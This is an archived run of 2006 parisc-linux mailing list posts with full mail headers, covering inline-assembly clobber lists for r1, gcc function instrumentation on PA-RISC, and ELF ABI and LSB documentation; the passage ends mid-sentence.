NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:58 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 20:35:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 18 Apr 2006 22:35:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9320E7D682;
	Tue, 18 Apr 2006 14:35:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18275-01; Tue, 18 Apr 2006 14:35:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C32B7D683;
	Tue, 18 Apr 2006 14:35:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D63967D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 14:35:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17746-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 14:35:02 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.201])
	by free.linux.hp.com (Postfix) with ESMTP id D513B7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 14:35:01 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 18so1384478nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 13:35:01 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=MdLpkpa+MJTJYWLtylec25DwgbhXTnno/iNGqs7mjdDeD/mP0q77CDJcoyipv1AxZ7hd+reImlgGYty6NVnIa/6T0EB1Jzhb08APj0n0haXjIsKg2c8xiaPbKYaIeJGJEOXEQo8llqJ09wFJ5ZNLaQddiq9aCM94/9yFM6sSnj0=
Original-Received: by 10.36.251.62 with SMTP id y62mr405167nzh;
	Tue, 18 Apr 2006 13:35:01 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Tue, 18 Apr 2006 13:35:01 -0700 (PDT)
In-Reply-To: <4442A5AB.5080604@tiscali.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t393d0ZYPTRt7OjGPjIwMzIxc2tpZMvK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23586

On 4/16/06, Joel Soete <soete.joel@tiscali.be> wrote:
> Hello all,
>
> I tried to apply my 'beautify' asm template to some uaccess.h and figure =
out that
> this hunk din't mentioned that "r1" was cloberred (iirc in fixup text) wh=
ile
> the 32bit one did:
>
> mmm, doesn't seems to change anything (I just check sys_parisc32.s) but m=
ay be elsewhere?

Please put on your thinking cap.

a) What does a clobber mean from the viewpoint of an __asm?
b) Which insn clobber r1?

Research both and return with the answer.
Double marks if you solve...

c) Should any of the __put_kernel_asm's have r1 listed as a clobber?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc instrument-function on parisc?
Date: Wed, 19 Apr 2006 06:46:41 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <IXYG1T$27580A183174C43B0B2B6E3056980F4B@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624058 18982 80.91.229.3 (22 Nov 2014 02:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:58 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2006 05:46:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 19 Apr 2006 07:46:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 573E77D6BA;
	Tue, 18 Apr 2006 23:46:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21225-03; Tue, 18 Apr 2006 23:46:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F4387D6BB;
	Tue, 18 Apr 2006 23:46:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F99F7D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 23:46:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20828-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 23:46:46 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 516877D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 23:46:46 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by xizor.is.scarlet.be  with ESMTP id k3J5kfK28304; 
	Wed, 19 Apr 2006 07:46:41 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s6cwd01aODBpsLWUfGRMO041Ji9SWlKl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23587

> > OTOH I find this comment in gcc-4.0 info:
> > `-finstrument-functions'
> >      Generate instrumentation calls for entry and exit to functions.
> >      Just after function entry and just before function exit, the
> >      following profiling functions will be called with the address of=

> >      the current function and its call site.  (On some platforms,
> >      `__builtin_return_address' does not work beyond the current
> >      function, so the call site information may not be available to t=
he
> >      profiling functions otherwise.)
> > 
> > Is 'some platform' include parisc?
> 
> Yes, `__builtin_return_address' only provides the return address
> for the current function on PA-RISC (on some targets, it can unwind
> multiple levels).  There's some question in my mind as to whether it
> handles all stubs correctly.  If it detects a stub, it tries to
> provide the return address for the stub.  It's guaranteed not to
> work in a signal handler.
> 
Too bad ;-(

(is jbailey defintely right:
<http://cvs.parisc-linux.org/web/src/puffinfest/pariscfortunes.diff?cvsro=
ot=3D&r1=3D1.13&r2=3D1.14>
;-? )

> The above hasn't really been tested as far as I know on parisc.
> 
Well, that was just a test.
The idea was using relayfs builtin to create a space at early boot to wri=
te
some data from a code chunk (e.g. ccio-dma) instumented by gcc better the=
n do
it manually.

Any work-around idea?

Thanks again,
    Joel
=0A=0A----------=0AWordt ook lid van de Scarlet Club via een bestaande Sc=
arlet klant en ontvang cadeaucheques twv EUR 50! Bezoek snel http://www.s=
carletclub.be=0ADevenez aussi membre du Club Scarlet via un client Scarle=
t existant et recevez des cheques cadeaux jusqu'a EUR 50! Surfez vite sur=
 http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
	__put_kernel_asm() 64bit?
Date: Tue, 18 Apr 2006 17:35:02 -0500
Lines: 80
Approved: news@gmane.org
Message-ID: <200604181735.02973.mszick@morethan.org>
References: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
	<4442A5AB.5080604@tiscali.be>
	<119aab440604181335r585ab489je1bef3c952a5a79b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624058 18985 80.91.229.3 (22 Nov 2014 02:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 22:35:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 19 Apr 2006 00:35:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06A767D692;
	Tue, 18 Apr 2006 16:35:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18724-06; Tue, 18 Apr 2006 16:35:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E32E7D694;
	Tue, 18 Apr 2006 16:35:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19C537D687
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 16:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18770-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 16:35:05 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 3663A7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 16:35:05 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3IMZ95Y069662
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 15:35:09 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.34.189.41] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id U7I00CO2
	authenticated by SMTP; Tue, 18 Apr 2006 15:35:08 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <119aab440604181335r585ab489je1bef3c952a5a79b@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wRgsK8M5MydynYigZWplZmhraGRhZtoa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23588

On Tue April 18 2006 15:35, Carlos O'Donell wrote:
> On 4/16/06, Joel Soete <soete.joel@tiscali.be> wrote:
> > Hello all,
> >
> > I tried to apply my 'beautify' asm template to some uaccess.h and figure out that
> > this hunk din't mentioned that "r1" was cloberred (iirc in fixup text) while
> > the 32bit one did:
> >
> > mmm, doesn't seems to change anything (I just check sys_parisc32.s) but may be elsewhere?
> 
> Please put on your thinking cap.
>
Please do not assume that was not step 1.

> 
> a) What does a clobber mean from the viewpoint of an __asm?
>
Why not from the syntax used?

Two possibilities:
1) Compiler can not distinguish the effects of assemble statements
on register usage.  It has to be told, as a general rule.

2) Compiler can distinguish the effects of assemble statements.
In this case, there is no reason for the clobber field.

Since there IS a clobber field in the syntax, then (2) must be
the intended assumption.

> b) Which insn clobber r1?
>
If (1) holds, it does not matter, the compiler already knows
when r1 will be trashed.

If (2) holds, the code author should know.
 
> Research both and return with the answer.
> Double marks if you solve...
> 
> c) Should any of the __put_kernel_asm's have r1 listed as a clobber?
> 
if (1) holds, it does not matter.

if (2) holds, then at least two more possibilities:

3) The compiler never carries a live value in r1 across an __asm block.
This is the same result as if r1 was listed as a clobber from the viewpoint
of preserving a value in r1 - there isn't one to preserve.

4) The compiler considers r1 a general purpose register.
In this case, the code author should not make an exception from the 
general rule implied by the supplied syntax of __asm blocks.

Q.E.D:
Safe coding practice over the lifetime of changing compiler versions
answers the question - r1 should appear in the clobber list of any
block that changes its value.

Either:
a) It makes no difference for some combinations of the above;
Or:
b) It is required.

> Cheers,
Your welcome,
Mike

> Carlos.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Wed, 19 Apr 2006 20:45:25 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200604200045.k3K0jPYV016350@hiauly1.hia.nrc.ca>
References: <1145324814.24150.12.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624059 18991 80.91.229.3 (22 Nov 2014 02:40:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 00:45:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 20 Apr 2006 02:45:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D5077D6A4;
	Wed, 19 Apr 2006 18:45:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29794-09; Wed, 19 Apr 2006 18:45:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2E0D7D6A6;
	Wed, 19 Apr 2006 18:45:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEAA77D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Apr 2006 18:45:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29794-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Apr 2006 18:45:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5A64D7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Apr 2006 18:45:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3K0jPnB016351;
	Wed, 19 Apr 2006 20:45:26 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3K0jPYV016350;
	Wed, 19 Apr 2006 20:45:25 -0400 (EDT)
In-Reply-To: <1145324814.24150.12.camel@localhost.localdomain> from "Jeff
	Bailey" at Apr 17, 2006 09:46:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gu91cBcnTXs9vqyRbmQ5NzVKRzdyMgNj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23589

> It's most common in the LSB specs to refer to the ELF psabi document
> where possible.  http://refspecs.freestandards.org/elf/elf-pa.pdf seems

The latest version is here:
http://ftp.parisc-linux.org/docs/arch/elf-pa-hp.pdf

HP and Intel also developed a generic specification for the ELF-64 object
file format, and a version containing HP and HP-UX extensions.

> to be a copy of the psabi document, but when checking with some folks,
> it looks like the document isn't a reflection on reality for
> parisc-linux.  The question is, should the document be updated to
> reflect reality, should we slowly change to match the document, or
> should I just not refer to the psabi document much when writing the LSB
> document?

None of the above mentioned documents appear to contain a copyright
notice.  However, this may no longer be an absolute requirement under
US copyright law.  In as much as a linux document is likely going to
have to utilize material from the above, it probably would be wise to
get the written approval from HP before proceeding.  It might also be
necessary to get Intel's approval if the document also attempts to
specify ELF for 64-bit linux.  Of course if you just reference these
specifications and point out differences, this problem can be avoided.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Thu, 20 Apr 2006 10:23:20 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200604201423.k3KENKQn021466@hiauly1.hia.nrc.ca>
References: <20060420085621.A64FC1AACC6@cyrix.home.bogus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624059 18993 80.91.229.3 (22 Nov 2014 02:40:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: matt@lackof.org (Matt Taggart)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 14:23:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 20 Apr 2006 16:23:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17A507D6CE;
	Thu, 20 Apr 2006 08:23:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04098-10; Thu, 20 Apr 2006 08:23:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAAC67D6D0;
	Thu, 20 Apr 2006 08:23:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D935D7D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 08:23:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04090-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 08:23:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 04BE17D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 08:23:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3KENKPS021467;
	Thu, 20 Apr 2006 10:23:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3KENKQn021466;
	Thu, 20 Apr 2006 10:23:20 -0400 (EDT)
In-Reply-To: <20060420085621.A64FC1AACC6@cyrix.home.bogus> from "Matt Taggart"
	at Apr 20, 2006 01:56:21 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PN0NA/pfa2A7ubvDOHQyMTQyOWhhasfU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23590

> There is also some communication between the LSB workgroup and the Austin 
> Group and they are both benefitting from the other's work.

I'm aware of this and the efforts to align POSIX and the LSB where
differences exist.  The majority of areas where differences exist
between POSIX and linux are resolved in current implementations.
Thus, it appears that the standards can be aligned in future updates
without too much difficulty.

FWIW, I personally believe that the development of the LSB was a
useful effort.  However, as you know, one of Austin Group participants
